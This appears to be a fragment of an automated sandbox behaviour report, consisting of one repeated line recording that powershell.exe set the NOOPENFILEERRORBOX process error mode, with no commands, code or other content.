                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
